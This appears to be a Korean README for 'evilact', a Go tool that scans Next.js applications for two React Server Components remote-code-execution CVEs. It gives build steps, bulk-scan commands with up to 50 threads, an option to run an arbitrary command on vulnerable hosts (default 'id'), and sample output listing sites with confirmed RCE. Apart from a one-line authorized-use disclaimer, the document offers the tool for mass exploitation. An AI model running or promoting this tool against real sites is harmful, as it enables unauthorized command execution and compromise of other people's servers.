
빠른 스캐너로, Next.js RCE 취약점(CVE-2025-55182 및 CVE-2025-66478)을 탐지하고 확인합니다.
빠른 취약점 스캐너로, React 서버 컴포넌트를 사용하는 Next.js 애플리케이션의 CVE-2025-55182 및 CVE-2025-66478을 대상으로 합니다. 대량 스캔, RCE 확인 및 고성능 동시 검사를 지원합니다.
git clone https://github.com/cypholab/evilact.git
cd evilact
go build -o scanner main.go
# 단일 URL
./scanner -url https://target.com
# 파일에서 여러 URL
./scanner -file targets.txt
# RCE 확인 포함
./scanner -url https://target.com -confirm-rce
# 50개 스레드로 빠른 스캔
./scanner -file targets.txt -threads 50
-url Single target URL
-file File with URLs (one per line)
-c Command to execute (default: id)
-threads Number of threads (default: 10)
-confirm-rce Confirm RCE execution
-check-only Safe check mode
-v Verbose output
-t Timeout in seconds (default: 10)
./scanner -file targets.txt -threads 20 -confirm-rce
[SCANNER] Loaded 100 URLs
[SCANNER] [VULNERABLE + RCE CONFIRMED] https://site1.com - Status: 303 (0.18s)
[SCANNER] [NOT VULNERABLE] https://site2.com - Status: 200 (0.15s)
Scanned 100 targets: 5 vulnerable, 5 RCE confirmed, 95 secure, 0 errors
Vulnerable targets:
- https://site1.com [RCE CONFIRMED]
- https://site3.com [RCE CONFIRMED]
승인된 테스트 목적으로만 사용하십시오. 불법 사용은 금지됩니다.